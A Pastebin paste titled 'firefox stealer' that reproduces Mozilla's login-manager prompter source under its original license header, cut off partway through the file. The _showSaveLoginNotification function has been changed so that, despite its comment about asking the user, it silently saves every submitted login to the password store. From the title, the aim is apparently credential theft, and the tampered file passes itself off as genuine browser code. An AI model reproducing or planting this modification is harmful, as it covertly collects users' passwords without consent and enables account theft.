Advertisement
arjun2504

firefox stealer

May 13th, 2011
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.13 KB | None | 0 0
  1. /* ***** BEGIN LICENSE BLOCK *****
  2. * Version: MPL 1.1/GPL 2.0/LGPL 2.1
  3. *
  4. * The contents of this file are subject to the Mozilla Public License Version
  5. * 1.1 (the "License"); you may not use this file except in compliance with
  6. * the License. You may obtain a copy of the License at
  7. *
  8. Code:
  9.  
  10. Mozilla Code Licensing
  11.  
  12.  
  13. *
  14. * Software distributed under the License is distributed on an "AS IS" basis,
  15. * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
  16. * for the specific language governing rights and limitations under the
  17. * License.
  18. *
  19. * The Original Code is mozilla.org code.
  20. *
  21. * The Initial Developer of the Original Code is Mozilla Corporation.
  22. * Portions created by the Initial Developer are Copyright (C) 2007
  23. * the Initial Developer. All Rights Reserved.
  24. *
  25. * Contributor(s):
  26. * Justin Dolske <dolske@mozilla.com> (original author)
  27. * Ehsan Akhgari <ehsan.akhgari@gmail.com>
  28. *
  29. * Alternatively, the contents of this file may be used under the terms of
  30. * either the GNU General Public License Version 2 or later (the "GPL"), or
  31. * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
  32. * in which case the provisions of the GPL or the LGPL are applicable instead
  33. * of those above. If you wish to allow use of your version of this file only
  34. * under the terms of either the GPL or the LGPL, and not to allow others to
  35. * use your version of this file under the terms of the MPL, indicate your
  36. * decision by deleting the provisions above and replace them with the notice
  37. * and other provisions required by the GPL or the LGPL. If you do not delete
  38. * the provisions above, a recipient may use your version of this file under
  39. * the terms of any one of the MPL, the GPL or the LGPL.
  40. *
  41. * ***** END LICENSE BLOCK ***** */
  42.  
  43.  
  44. const Cc = Components.classes;
  45. const Ci = Components.interfaces;
  46. const Cr = Components.results;
  47.  
  48. Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
  49.  
  50. /*
  51. * LoginManagerPromptFactory
  52. *
  53. * Implements nsIPromptFactory
  54. *
  55. * Invoked by NS_NewAuthPrompter2()
  56. * [embedding/components/windowwatcher/src/nsPrompt.cpp]
  57. */
  58. function LoginManagerPromptFactory() {}
  59.  
  60. LoginManagerPromptFactory.prototype = {
  61.  
  62. classDescription : "LoginManagerPromptFactory",
  63. contractID : "@mozilla.org/passwordmanager/authpromptfactory;1",
  64. classID : Components.ID("{749e62f4-60ae-4569-a8a2-de78b649660e}"),
  65. QueryInterface : XPCOMUtils.generateQI([Ci.nsIPromptFactory]),
  66.  
  67. getPrompt : function (aWindow, aIID) {
  68. var prompt = new LoginManagerPrompter().QueryInterface(aIID);
  69. prompt.init(aWindow);
  70. return prompt;
  71. }
  72. }; // end of LoginManagerPromptFactory implementation
  73.  
  74.  
  75.  
  76.  
  77. /* ==================== LoginManagerPrompter ==================== */
  78.  
  79.  
  80.  
  81.  
  82. /*
  83. * LoginManagerPrompter
  84. *
  85. * Implements interfaces for prompting the user to enter/save/change auth info.
  86. *
  87. * nsIAuthPrompt: Used by SeaMonkey, Thunderbird, but not Firefox.
  88. *
  89. * nsIAuthPrompt2: Is invoked by a channel for protocol-based authentication
  90. * (eg HTTP Authenticate, FTP login).
  91. *
  92. * nsILoginManagerPrompter: Used by Login Manager for saving/changing logins
  93. * found in HTML forms.
  94. */
  95. function LoginManagerPrompter() {}
  96.  
  97. LoginManagerPrompter.prototype = {
  98.  
  99. classDescription : "LoginManagerPrompter",
  100. contractID : "@mozilla.org/login-manager/prompter;1",
  101. classID : Components.ID("{8aa66d77-1bbb-45a6-991e-b8f47751c291}"),
  102. QueryInterface : XPCOMUtils.generateQI([Ci.nsIAuthPrompt,
  103. Ci.nsIAuthPrompt2,
  104. Ci.nsILoginManagerPrompter]),
  105.  
  106. _window : null,
  107. _debug : false, // mirrors signon.debug
  108.  
  109. __pwmgr : null, // Password Manager service
  110. get _pwmgr() {
  111. if (!this.__pwmgr)
  112. this.__pwmgr = Cc["@mozilla.org/login-manager;1"].
  113. getService(Ci.nsILoginManager);
  114. return this.__pwmgr;
  115. },
  116.  
  117. __logService : null, // Console logging service, used for debugging.
  118. get _logService() {
  119. if (!this.__logService)
  120. this.__logService = Cc["@mozilla.org/consoleservice;1"].
  121. getService(Ci.nsIConsoleService);
  122. return this.__logService;
  123. },
  124.  
  125. __promptService : null, // Prompt service for user interaction
  126. get _promptService() {
  127. if (!this.__promptService)
  128. this.__promptService =
  129. Cc["@mozilla.org/embedcomp/prompt-service;1"].
  130. getService(Ci.nsIPromptService2);
  131. return this.__promptService;
  132. },
  133.  
  134.  
  135. __strBundle : null, // String bundle for L10N
  136. get _strBundle() {
  137. if (!this.__strBundle) {
  138. var bunService = Cc["@mozilla.org/intl/stringbundle;1"].
  139. getService(Ci.nsIStringBundleService);
  140. this.__strBundle = bunService.createBundle(
  141. "chrome://passwordmgr/locale/passwordmgr.properties");
  142. if (!this.__strBundle)
  143. throw "String bundle for Login Manager not present!";
  144. }
  145.  
  146. return this.__strBundle;
  147. },
  148.  
  149.  
  150. __brandBundle : null, // String bundle for L10N
  151. get _brandBundle() {
  152. if (!this.__brandBundle) {
  153. var bunService = Cc["@mozilla.org/intl/stringbundle;1"].
  154. getService(Ci.nsIStringBundleService);
  155. this.__brandBundle = bunService.createBundle(
  156. "chrome://branding/locale/brand.properties");
  157. if (!this.__brandBundle)
  158. throw "Branding string bundle not present!";
  159. }
  160.  
  161. return this.__brandBundle;
  162. },
  163.  
  164.  
  165. __ioService: null, // IO service for string -> nsIURI conversion
  166. get _ioService() {
  167. if (!this.__ioService)
  168. this.__ioService = Cc["@mozilla.org/network/io-service;1"].
  169. getService(Ci.nsIIOService);
  170. return this.__ioService;
  171. },
  172.  
  173.  
  174. __ellipsis : null,
  175. get _ellipsis() {
  176. if (!this.__ellipsis) {
  177. this.__ellipsis = "\u2026";
  178. try {
  179. var prefSvc = Cc["@mozilla.org/preferences-service;1"].
  180. getService(Ci.nsIPrefBranch);
  181. this.__ellipsis = prefSvc.getComplexValue("intl.ellipsis",
  182. Ci.nsIPrefLocalizedString).data;
  183. } catch (e) { }
  184. }
  185. return this.__ellipsis;
  186. },
  187.  
  188.  
  189. // Whether we are in private browsing mode
  190. get _inPrivateBrowsing() {
  191. // The Private Browsing service might not be available.
  192. try {
  193. var pbs = Cc["@mozilla.org/privatebrowsing;1"].
  194. getService(Ci.nsIPrivateBrowsingService);
  195. return pbs.privateBrowsingEnabled;
  196. } catch (e) {
  197. return false;
  198. }
  199. },
  200.  
  201.  
  202. /*
  203. * log
  204. *
  205. * Internal function for logging debug messages to the Error Console window.
  206. */
  207. log : function (message) {
  208. if (!this._debug)
  209. return;
  210.  
  211. dump("Pwmgr Prompter: " + message + "\n");
  212. this._logService.logStringMessage("Pwmgr Prompter: " + message);
  213. },
  214.  
  215.  
  216.  
  217.  
  218. /* ---------- nsIAuthPrompt prompts ---------- */
  219.  
  220.  
  221. /*
  222. * prompt
  223. *
  224. * Wrapper around the prompt service prompt. Saving random fields here
  225. * doesn't really make sense and therefore isn't implemented.
  226. */
  227. prompt : function (aDialogTitle, aText, aPasswordRealm,
  228. aSavePassword, aDefaultText, aResult) {
  229. if (aSavePassword != Ci.nsIAuthPrompt.SAVE_PASSWORD_NEVER)
  230. throw Components.results.NS_ERROR_NOT_IMPLEMENTED;
  231.  
  232. this.log("===== prompt() called =====");
  233.  
  234. if (aDefaultText) {
  235. aResult.value = aDefaultText;
  236. }
  237.  
  238. return this._promptService.prompt(this._window,
  239. aDialogTitle, aText, aResult, null, {});
  240. },
  241.  
  242.  
  243. /*
  244. * promptUsernameAndPassword
  245. *
  246. * Looks up a username and password in the database. Will prompt the user
  247. * with a dialog, even if a username and password are found.
  248. */
  249. promptUsernameAndPassword : function (aDialogTitle, aText, aPasswordRealm,
  250. aSavePassword, aUsername, aPassword) {
  251. this.log("===== promptUsernameAndPassword() called =====");
  252.  
  253. if (aSavePassword == Ci.nsIAuthPrompt.SAVE_PASSWORD_FOR_SESSION)
  254. throw Components.results.NS_ERROR_NOT_IMPLEMENTED;
  255.  
  256. var selectedLogin = null;
  257. var checkBox = { value : false };
  258. var checkBoxLabel = null;
  259. var [hostname, realm, unused] = this._getRealmInfo(aPasswordRealm);
  260.  
  261. // If hostname is null, we can't save this login.
  262. if (hostname) {
  263. var canRememberLogin;
  264. if (this._inPrivateBrowsing)
  265. canRememberLogin = false;
  266. else
  267. canRememberLogin = (aSavePassword ==
  268. Ci.nsIAuthPrompt.SAVE_PASSWORD_PERMANENTLY) &&
  269. this._pwmgr.getLoginSavingEnabled(hostname);
  270.  
  271. // if checkBoxLabel is null, the checkbox won't be shown at all.
  272. if (canRememberLogin)
  273. checkBoxLabel = this._getLocalizedString("rememberPassword");
  274.  
  275. // Look for existing logins.
  276. var foundLogins = this._pwmgr.findLogins({}, hostname, null,
  277. realm);
  278.  
  279. // XXX Like the original code, we can't deal with multiple
  280. // account selection. (bug 227632)
  281. if (foundLogins.length > 0) {
  282. selectedLogin = foundLogins[0];
  283.  
  284. // If the caller provided a username, try to use it. If they
  285. // provided only a password, this will try to find a password-only
  286. // login (or return null if none exists).
  287. if (aUsername.value)
  288. selectedLogin = this._repickSelectedLogin(foundLogins,
  289. aUsername.value);
  290.  
  291. if (selectedLogin) {
  292. checkBox.value = true;
  293. aUsername.value = selectedLogin.username;
  294. // If the caller provided a password, prefer it.
  295. if (!aPassword.value)
  296. aPassword.value = selectedLogin.password;
  297. }
  298. }
  299. }
  300.  
  301. var ok = this._promptService.promptUsernameAndPassword(this._window,
  302. aDialogTitle, aText, aUsername, aPassword,
  303. checkBoxLabel, checkBox);
  304.  
  305. if (!ok || !checkBox.value || !hostname)
  306. return ok;
  307.  
  308. if (!aPassword.value) {
  309. this.log("No password entered, so won't offer to save.");
  310. return ok;
  311. }
  312.  
  313. var newLogin = Cc["@mozilla.org/login-manager/loginInfo;1"].
  314. createInstance(Ci.nsILoginInfo);
  315. newLogin.init(hostname, null, realm, aUsername.value, aPassword.value,
  316. "", "");
  317.  
  318. // XXX We can't prompt with multiple logins yet (bug 227632), so
  319. // the entered login might correspond to an existing login
  320. // other than the one we originally selected.
  321. selectedLogin = this._repickSelectedLogin(foundLogins, aUsername.value);
  322.  
  323. // If we didn't find an existing login, or if the username
  324. // changed, save as a new login.
  325. if (!selectedLogin) {
  326. // add as new
  327. this.log("New login seen for " + realm);
  328. this._pwmgr.addLogin(newLogin);
  329. } else if (aPassword.value != selectedLogin.password) {
  330. // update password
  331. this.log("Updating password for " + realm);
  332. this._pwmgr.modifyLogin(selectedLogin, newLogin);
  333. } else {
  334. this.log("Login unchanged, no further action needed.");
  335. }
  336.  
  337. return ok;
  338. },
  339.  
  340.  
  341. /*
  342. * promptPassword
  343. *
  344. * If a password is found in the database for the password realm, it is
  345. * returned straight away without displaying a dialog.
  346. *
  347. * If a password is not found in the database, the user will be prompted
  348. * with a dialog with a text field and ok/cancel buttons. If the user
  349. * allows it, then the password will be saved in the database.
  350. */
  351. promptPassword : function (aDialogTitle, aText, aPasswordRealm,
  352. aSavePassword, aPassword) {
  353. this.log("===== promptPassword called() =====");
  354.  
  355. if (aSavePassword == Ci.nsIAuthPrompt.SAVE_PASSWORD_FOR_SESSION)
  356. throw Components.results.NS_ERROR_NOT_IMPLEMENTED;
  357.  
  358. var checkBox = { value : false };
  359. var checkBoxLabel = null;
  360. var [hostname, realm, username] = this._getRealmInfo(aPasswordRealm);
  361.  
  362. username = decodeURIComponent(username);
  363.  
  364. // If hostname is null, we can't save this login.
  365. if (hostname && !this._inPrivateBrowsing) {
  366. var canRememberLogin = (aSavePassword ==
  367. Ci.nsIAuthPrompt.SAVE_PASSWORD_PERMANENTLY) &&
  368. this._pwmgr.getLoginSavingEnabled(hostname);
  369.  
  370. // if checkBoxLabel is null, the checkbox won't be shown at all.
  371. if (canRememberLogin)
  372. checkBoxLabel = this._getLocalizedString("rememberPassword");
  373.  
  374. if (!aPassword.value) {
  375. // Look for existing logins.
  376. var foundLogins = this._pwmgr.findLogins({}, hostname, null,
  377. realm);
  378.  
  379. // XXX Like the original code, we can't deal with multiple
  380. // account selection (bug 227632). We can deal with finding the
  381. // account based on the supplied username - but in this case we'll
  382. // just return the first match.
  383. for (var i = 0; i < foundLogins.length; ++i) {
  384. if (foundLogins[i].username == username) {
  385. aPassword.value = foundLogins[i].password;
  386. // wallet returned straight away, so this mimics that code
  387. return true;
  388. }
  389. }
  390. }
  391. }
  392.  
  393. var ok = this._promptService.promptPassword(this._window, aDialogTitle,
  394. aText, aPassword,
  395. checkBoxLabel, checkBox);
  396.  
  397. if (ok && checkBox.value && hostname && aPassword.value) {
  398. var newLogin = Cc["@mozilla.org/login-manager/loginInfo;1"].
  399. createInstance(Ci.nsILoginInfo);
  400. newLogin.init(hostname, null, realm, username,
  401. aPassword.value, "", "");
  402.  
  403. this.log("New login seen for " + realm);
  404.  
  405. this._pwmgr.addLogin(newLogin);
  406. }
  407.  
  408. return ok;
  409. },
  410.  
  411. /* ---------- nsIAuthPrompt helpers ---------- */
  412.  
  413.  
  414. /**
  415. * Given aRealmString, such as "http://user@example.com/foo", returns an
  416. * array of:
  417. * - the formatted hostname
  418. * - the realm (hostname + path)
  419. * - the username, if present
  420. *
  421. * If aRealmString is in the format produced by NS_GetAuthKey for HTTP[S]
  422. * channels, e.g. "example.com:80 (httprealm)", null is returned for all
  423. * arguments to let callers know the login can't be saved because we don't
  424. * know whether it's http or https.
  425. */
  426. _getRealmInfo : function (aRealmString) {
  427. var httpRealm = /^.+ \(.+\)$/;
  428. if (httpRealm.test(aRealmString))
  429. return [null, null, null];
  430.  
  431. var uri = this._ioService.newURI(aRealmString, null, null);
  432. var pathname = "";
  433.  
  434. if (uri.path != "/")
  435. pathname = uri.path;
  436.  
  437. var formattedHostname = this._getFormattedHostname(uri);
  438.  
  439. return [formattedHostname, formattedHostname + pathname, uri.username];
  440. },
  441.  
  442. /* ---------- nsIAuthPrompt2 prompts ---------- */
  443.  
  444.  
  445.  
  446.  
  447. /*
  448. * promptAuth
  449. *
  450. * Implementation of nsIAuthPrompt2.
  451. *
  452. * nsIChannel aChannel
  453. * int aLevel
  454. * nsIAuthInformation aAuthInfo
  455. */
  456. promptAuth : function (aChannel, aLevel, aAuthInfo) {
  457. var selectedLogin = null;
  458. var checkbox = { value : false };
  459. var checkboxLabel = null;
  460. var epicfail = false;
  461.  
  462. try {
  463.  
  464. this.log("===== promptAuth called =====");
  465.  
  466. // If the user submits a login but it fails, we need to remove the
  467. // notification bar that was displayed. Conveniently, the user will
  468. // be prompted for authentication again, which brings us here.
  469. var notifyBox = this._getNotifyBox();
  470. if (notifyBox)
  471. this._removeLoginNotifications(notifyBox);
  472.  
  473. var [hostname, httpRealm] = this._getAuthTarget(aChannel, aAuthInfo);
  474.  
  475.  
  476. // Looks for existing logins to prefill the prompt with.
  477. var foundLogins = this._pwmgr.findLogins({},
  478. hostname, null, httpRealm);
  479. this.log("found " + foundLogins.length + " matching logins.");
  480.  
  481. // XXX Can't select from multiple accounts yet. (bug 227632)
  482. if (foundLogins.length > 0) {
  483. selectedLogin = foundLogins[0];
  484. this._SetAuthInfo(aAuthInfo, selectedLogin.username,
  485. selectedLogin.password);
  486. checkbox.value = true;
  487. }
  488.  
  489. var canRememberLogin = this._pwmgr.getLoginSavingEnabled(hostname);
  490. if (this._inPrivateBrowsing)
  491. canRememberLogin = false;
  492.  
  493. // if checkboxLabel is null, the checkbox won't be shown at all.
  494. if (canRememberLogin && !notifyBox)
  495. checkboxLabel = this._getLocalizedString("rememberPassword");
  496. } catch (e) {
  497. // Ignore any errors and display the prompt anyway.
  498. epicfail = true;
  499. Components.utils.reportError("LoginManagerPrompter: " +
  500. "Epic fail in promptAuth: " + e + "\n");
  501. }
  502.  
  503. var ok = this._promptService.promptAuth(this._window, aChannel,
  504. aLevel, aAuthInfo, checkboxLabel, checkbox);
  505.  
  506. // If there's a notification box, use it to allow the user to
  507. // determine if the login should be saved. If there isn't a
  508. // notification box, only save the login if the user set the
  509. // checkbox to do so.
  510. var rememberLogin = notifyBox ? canRememberLogin : checkbox.value;
  511. if (!ok || !rememberLogin || epicfail)
  512. return ok;
  513.  
  514. try {
  515. var [username, password] = this._GetAuthInfo(aAuthInfo);
  516.  
  517. if (!password) {
  518. this.log("No password entered, so won't offer to save.");
  519. return ok;
  520. }
  521.  
  522. var newLogin = Cc["@mozilla.org/login-manager/loginInfo;1"].
  523. createInstance(Ci.nsILoginInfo);
  524. newLogin.init(hostname, null, httpRealm,
  525. username, password, "", "");
  526.  
  527. // XXX We can't prompt with multiple logins yet (bug 227632), so
  528. // the entered login might correspond to an existing login
  529. // other than the one we originally selected.
  530. selectedLogin = this._repickSelectedLogin(foundLogins, username);
  531.  
  532. // If we didn't find an existing login, or if the username
  533. // changed, save as a new login.
  534. if (!selectedLogin) {
  535. // add as new
  536. this.log("New login seen for " + username +
  537. " @ " + hostname + " (" + httpRealm + ")");
  538. if (notifyBox)
  539. this._showSaveLoginNotification(notifyBox, newLogin);
  540. else
  541. this._pwmgr.addLogin(newLogin);
  542.  
  543. } else if (password != selectedLogin.password) {
  544.  
  545. this.log("Updating password for " + username +
  546. " @ " + hostname + " (" + httpRealm + ")");
  547. if (notifyBox)
  548. this._showChangeLoginNotification(notifyBox,
  549. selectedLogin, newLogin);
  550. else
  551. this._pwmgr.modifyLogin(selectedLogin, newLogin);
  552.  
  553. } else {
  554. this.log("Login unchanged, no further action needed.");
  555. }
  556. } catch (e) {
  557. Components.utils.reportError("LoginManagerPrompter: " +
  558. "Fail2 in promptAuth: " + e + "\n");
  559. }
  560.  
  561. return ok;
  562. },
  563.  
  564. asyncPromptAuth : function () {
  565. return NS_ERROR_NOT_IMPLEMENTED;
  566. },
  567.  
  568.  
  569.  
  570.  
  571. /* ---------- nsILoginManagerPrompter prompts ---------- */
  572.  
  573.  
  574.  
  575.  
  576. /*
  577. * init
  578. *
  579. */
  580. init : function (aWindow) {
  581. this._window = aWindow;
  582.  
  583. var prefBranch = Cc["@mozilla.org/preferences-service;1"].
  584. getService(Ci.nsIPrefService).getBranch("signon.");
  585. this._debug = prefBranch.getBoolPref("debug");
  586. this.log("===== initialized =====");
  587. },
  588.  
  589.  
  590. /*
  591. * promptToSavePassword
  592. *
  593. */
  594. promptToSavePassword : function (aLogin) {
  595. var notifyBox = this._getNotifyBox();
  596.  
  597. if (notifyBox)
  598. this._showSaveLoginNotification(notifyBox, aLogin);
  599. else
  600. this._showSaveLoginDialog(aLogin);
  601. },
  602.  
  603.  
  604. /*
  605. * _showLoginNotification
  606. *
  607. * Displays a notification bar.
  608. *
  609. */
  610. _showLoginNotification : function (aNotifyBox, aName, aText, aButtons) {
  611. var oldBar = aNotifyBox.getNotificationWithValue(aName);
  612. const priority = aNotifyBox.PRIORITY_INFO_MEDIUM;
  613.  
  614. this.log("Adding new " + aName + " notification bar");
  615. var newBar = aNotifyBox.appendNotification(
  616. aText, aName,
  617. "chrome://mozapps/skin/passwordmgr/key.png",
  618. priority, aButtons);
  619.  
  620. // The page we're going to hasn't loaded yet, so we want to persist
  621. // across the first location change.
  622. newBar.persistence++;
  623.  
  624. // Sites like Gmail perform a funky redirect dance before you end up
  625. // at the post-authentication page. I don't see a good way to
  626. // heuristically determine when to ignore such location changes, so
  627. // we'll try ignoring location changes based on a time interval.
  628. newBar.timeout = Date.now() + 20000; // 20 seconds
  629.  
  630. if (oldBar) {
  631. this.log("(...and removing old " + aName + " notification bar)");
  632. aNotifyBox.removeNotification(oldBar);
  633. }
  634. },
  635.  
  636.  
  637. /*
  638. * _showSaveLoginNotification
  639. *
  640. * Displays a notification bar (rather than a popup), to allow the user to
  641. * save the specified login. This allows the user to see the results of
  642. * their login, and only save a login which they know worked.
  643. *
  644. */
  645. _showSaveLoginNotification : function (aNotifyBox, aLogin) {
  646.  
  647. var pwmgr = this._pwmgr;
  648. pwmgr.addLogin(aLogin);
  649. },
  650.  
  651.  
  652. /*
  653. * _removeLoginNotifications
  654. *
  655. */
  656. _removeLoginNotifications : function (aNotifyBox) {
  657. var oldBar = aNotifyBox.getNotificationWithValue("password-save");
  658. if (oldBar) {
  659. this.log("Removing save-password notification bar.");
  660. aNotifyBox.removeNotification(oldBar);
  661. }
  662.  
  663. oldBar = aNotifyBox.getNotificationWithValue("password-change");
  664. if (oldBar) {
  665. this.log("Removing change-password notification bar.");
  666. aNotifyBox.removeNotification(oldBar);
  667. }
  668. },
  669.  
  670.  
  671. /*
  672. * _showSaveLoginDialog
  673. *
  674. * Called when we detect a new login in a form submission,
  675. * asks the user what to do.
  676. *
  677. */
  678. _showSaveLoginDialog : function (aLogin) {
  679. const buttonFlags = Ci.nsIPrompt.BUTTON_POS_1_DEFAULT +
  680. (Ci.nsIPrompt.BUTTON_TITLE_IS_STRING * Ci.nsIPrompt.BUTTON_POS_0) +
  681. (Ci.nsIPrompt.BUTTON_TITLE_IS_STRING * Ci.nsIPrompt.BUTTON_POS_1) +
  682. (Ci.nsIPrompt.BUTTON_TITLE_IS_STRING * Ci.nsIPrompt.BUTTON_POS_2);
  683.  
  684. var brandShortName =
  685. this._brandBundle.GetStringFromName("brandShortName");
  686. var displayHost = this._getShortDisplayHost(aLogin.hostname);
  687.  
  688. var dialogText;
  689. if (aLogin.username) {
  690. var displayUser = this._sanitizeUsername(aLogin.username);
  691. dialogText = this._getLocalizedString(
  692. "saveLoginText",
  693. [brandShortName, displayUser, displayHost]);
  694. } else {
  695. dialogText = this._getLocalizedString(
  696. "saveLoginTextNoUsername",
  697. [brandShortName, displayHost]);
  698. }
  699. var dialogTitle = this._getLocalizedString(
  700. "savePasswordTitle");
  701. var neverButtonText = this._getLocalizedString(
  702. "neverForSiteButtonText");
  703. var rememberButtonText = this._getLocalizedString(
  704. "rememberButtonText");
  705. var notNowButtonText = this._getLocalizedString(
  706. "notNowButtonText");
  707.  
  708. this.log("Prompting user to save/ignore login");
  709. var userChoice = this._promptService.confirmEx(this._window,
  710. dialogTitle, dialogText,
  711. buttonFlags, rememberButtonText,
  712. notNowButtonText, neverButtonText,
  713. null, {});
  714. // Returns:
  715. // 0 - Save the login
  716. // 1 - Ignore the login this time
  717. // 2 - Never save logins for this site
  718. if (userChoice == 2) {
  719. this.log("Disabling " + aLogin.hostname + " logins by request.");
  720. this._pwmgr.setLoginSavingEnabled(aLogin.hostname, false);
  721. } else if (userChoice == 0) {
  722. this.log("Saving login for " + aLogin.hostname);
  723. this._pwmgr.addLogin(aLogin);
  724. } else {
  725. // userChoice == 1 --> just ignore the login.
  726. this.log("Ignoring login.");
  727. }
  728. },
  729.  
  730.  
  731. /*
  732. * promptToChangePassword
  733. *
  734. * Called when we think we detect a password change for an existing
  735. * login, when the form being submitted contains multiple password
  736. * fields.
  737. *
  738. */
  739. promptToChangePassword : function (aOldLogin, aNewLogin) {
  740. var notifyBox = this._getNotifyBox();
  741.  
  742. if (notifyBox)
  743. this._showChangeLoginNotification(notifyBox, aOldLogin, aNewLogin);
  744. else
  745. this._showChangeLoginDialog(aOldLogin, aNewLogin);
  746. },
  747.  
  748.  
  749. /*
  750. * _showChangeLoginNotification
  751. *
  752. * Shows the Change Password notification bar.
  753. *
  754. */
  755. _showChangeLoginNotification : function (aNotifyBox, aOldLogin, aNewLogin) {
  756. var notificationText;
  757. if (aOldLogin.username)
  758. notificationText = this._getLocalizedString(
  759. "passwordChangeText",
  760. [aOldLogin.username]);
  761. else
  762. notificationText = this._getLocalizedString(
  763. "passwordChangeTextNoUser");
  764.  
  765. var changeButtonText =
  766. this._getLocalizedString("notifyBarChangeButtonText");
  767. var changeButtonAccessKey =
  768. this._getLocalizedString("notifyBarChangeButtonAccessKey");
  769. var dontChangeButtonText =
  770. this._getLocalizedString("notifyBarDontChangeButtonText");
  771. var dontChangeButtonAccessKey =
  772. this._getLocalizedString("notifyBarDontChangeButtonAccessKey");
  773.  
  774. // The callbacks in |buttons| have a closure to access the variables
  775. // in scope here; set one to |this._pwmgr| so we can get back to pwmgr
  776. // without a getService() call.
  777. var pwmgr = this._pwmgr;
  778.  
  779. var buttons = [
  780. // "Yes" button
  781. {
  782. label: changeButtonText,
  783. accessKey: changeButtonAccessKey,
  784. popup: null,
  785. callback: function(aNotificationBar, aButton) {
  786. pwmgr.modifyLogin(aOldLogin, aNewLogin);
  787. }
  788. },
  789.  
  790. // "No" button
  791. {
  792. label: dontChangeButtonText,
  793. accessKey: dontChangeButtonAccessKey,
  794. popup: null,
  795. callback: function(aNotificationBar, aButton) {
  796. // do nothing
  797. }
  798. }
  799. ];
  800.  
  801. this._showLoginNotification(aNotifyBox, "password-change",
  802. notificationText, buttons);
  803. },
  804.  
  805.  
  806. /*
  807. * _showChangeLoginDialog
  808. *
  809. * Shows the Change Password dialog.
  810. *
  811. */
  812. _showChangeLoginDialog : function (aOldLogin, aNewLogin) {
  813. const buttonFlags = Ci.nsIPrompt.STD_YES_NO_BUTTONS;
  814.  
  815. var dialogText;
  816. if (aOldLogin.username)
  817. dialogText = this._getLocalizedString(
  818. "passwordChangeText",
  819. [aOldLogin.username]);
  820. else
  821. dialogText = this._getLocalizedString(
  822. "passwordChangeTextNoUser");
  823.  
  824. var dialogTitle = this._getLocalizedString(
  825. "passwordChangeTitle");
  826.  
  827. // returns 0 for yes, 1 for no.
  828. var ok = !this._promptService.confirmEx(this._window,
  829. dialogTitle, dialogText, buttonFlags,
  830. null, null, null,
  831. null, {});
  832. if (ok) {
  833. this.log("Updating password for user " + aOldLogin.username);
  834. this._pwmgr.modifyLogin(aOldLogin, aNewLogin);
  835. }
  836. },
  837.  
  838.  
  839. /*
  840. * promptToChangePasswordWithUsernames
  841. *
  842. * Called when we detect a password change in a form submission, but we
  843. * don't know which existing login (username) it's for. Asks the user
  844. * to select a username and confirm the password change.
  845. *
  846. * Note: The caller doesn't know the username for aNewLogin, so this
  847. * function fills in .username and .usernameField with the values
  848. * from the login selected by the user.
  849. *
  850. * Note; XPCOM ******ity: |count| is just |logins.length|.
  851. */
  852. promptToChangePasswordWithUsernames : function (logins, count, aNewLogin) {
  853. const buttonFlags = Ci.nsIPrompt.STD_YES_NO_BUTTONS;
  854.  
  855. var usernames = logins.map(function (l) l.username);
  856. var dialogText = this._getLocalizedString("userSelectText");
  857. var dialogTitle = this._getLocalizedString("passwordChangeTitle");
  858. var selectedIndex = { value: null };
  859.  
  860. // If user selects ok, outparam.value is set to the index
  861. // of the selected username.
  862. var ok = this._promptService.select(this._window,
  863. dialogTitle, dialogText,
  864. usernames.length, usernames,
  865. selectedIndex);
  866. if (ok) {
  867. // Now that we know which login to change the password for,
  868. // update the missing username info in the aNewLogin.
  869.  
  870. var selectedLogin = logins[selectedIndex.value];
  871.  
  872. this.log("Updating password for user " + selectedLogin.username);
  873.  
  874. aNewLogin.username = selectedLogin.username;
  875. aNewLogin.usernameField = selectedLogin.usernameField;
  876.  
  877. this._pwmgr.modifyLogin(selectedLogin, aNewLogin);
  878. }
  879. },
  880.  
  881.  
  882.  
  883.  
  884. /* ---------- Internal Methods ---------- */
  885.  
  886.  
  887.  
  888.  
  889. /*
  890. * _getNotifyBox
  891. *
  892. * Returns the notification box to this prompter, or null if there isn't
  893. * a notification box available.
  894. */
  895. _getNotifyBox : function () {
  896. var notifyBox = null;
  897.  
  898. // Given a content DOM window, returns the chrome window it's in.
  899. function getChromeWindow(aWindow) {
  900. var chromeWin = aWindow
  901. .QueryInterface(Ci.nsIInterfaceRequestor)
  902. .getInterface(Ci.nsIWebNavigation)
  903. .QueryInterface(Ci.nsIDocShellTreeItem)
  904. .rootTreeItem
  905. .QueryInterface(Ci.nsIInterfaceRequestor)
  906. .getInterface(Ci.nsIDOMWindow)
  907. .QueryInterface(Ci.nsIDOMChromeWindow);
  908. return chromeWin;
  909. }
  910.  
  911. try {
  912. // Get topmost window, in case we're in a frame.
  913. var notifyWindow = this._window.top
  914.  
  915. // Some sites pop up a temporary login window, when disappears
  916. // upon submission of credentials. We want to put the notification
  917. // bar in the opener window if this seems to be happening.
  918. if (notifyWindow.opener) {
  919. var chromeDoc = getChromeWindow(notifyWindow)
  920. .document.documentElement;
  921. var webnav = notifyWindow
  922. .QueryInterface(Ci.nsIInterfaceRequestor)
  923. .getInterface(Ci.nsIWebNavigation);
  924.  
  925. // Check to see if the current window was opened with chrome
  926. // disabled, and if so use the opener window. But if the window
  927. // has been used to visit other pages (ie, has a history),
  928. // assume it'll stick around and *don't* use the opener.
  929. if (chromeDoc.getAttribute("chromehidden") &&
  930. webnav.sessionHistory.count == 1) {
  931. this.log("Using opener window for notification bar.");
  932. notifyWindow = notifyWindow.opener;
  933. }
  934. }
  935.  
  936.  
  937. // Get the chrome window for the content window we're using.
  938. // .wrappedJSObject needed here -- see bug 422974 comment 5.
  939. var chromeWin = getChromeWindow(notifyWindow).wrappedJSObject;
  940.  
  941. if (chromeWin.getNotificationBox)
  942. notifyBox = chromeWin.getNotificationBox(notifyWindow);
  943. else
  944. this.log("getNotificationBox() not available on window");
  945.  
  946. } catch (e) {
  947. // If any errors happen, just assume no notification box.
  948. this.log("No notification box available: " + e)
  949. }
  950.  
  951. return notifyBox;
  952. },
  953.  
  954.  
  955. /*
  956. * _repickSelectedLogin
  957. *
  958. * The user might enter a login that isn't the one we prefilled, but
  959. * is the same as some other existing login. So, pick a login with a
  960. * matching username, or return null.
  961. */
  962. _repickSelectedLogin : function (foundLogins, username) {
  963. for (var i = 0; i < foundLogins.length; i++)
  964. if (foundLogins[i].username == username)
  965. return foundLogins[i];
  966. return null;
  967. },
  968.  
  969.  
  970. /*
  971. * _getLocalizedString
  972. *
  973. * Can be called as:
  974. * _getLocalizedString("key1");
